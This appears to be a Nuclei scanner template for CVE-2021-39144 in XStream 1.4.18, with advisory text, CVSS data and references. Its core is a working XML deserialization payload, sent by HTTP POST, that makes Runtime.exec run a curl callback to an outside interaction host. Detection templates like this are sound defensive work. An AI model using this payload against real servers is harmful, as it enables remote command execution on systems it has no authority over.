XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
PoC代码[已公开]
id: CVE-2021-39144
info:
name: XStream 1.4.18 - Remote Code Execution
author: pwnhxl,vicrack
severity: high
description: |
XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: |
Upgrade XStream to a version that is not affected by CVE-2021-39144.
reference:
- https://x-stream.github.io/CVE-2021-39144.html
- https://github.com/x-stream/xstream/security/advisories/GHSA-j9h8-phrw-h4fh
- https://security.netapp.com/advisory/ntap-20210923-0003/
- https://nvd.nist.gov/vuln/detail/cve-2021-39144
- https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 8.5
cve-id: CVE-2021-39144
cwe-id: CWE-306,CWE-502
epss-score: 0.94412
epss-percentile: 0.99975
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: xstream_project
product: xstream
tags: cve2021,cve,xstream,deserialization,rce,kev,xstream_project
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='java.lang.Runtime'/>
<implementing__method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
<string>curl http://{{interactsh-url}}</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 4a0a00473045022100aa77f11888155f7898daa24be290e87ed23f6334bfdd52f5f764ad92c351201a0220075617b3a1dda9185ba63a6f7acbf9f3fa4b223b192b543190357f55eebbff7b:922c64590222798bb761d5b6d8e72950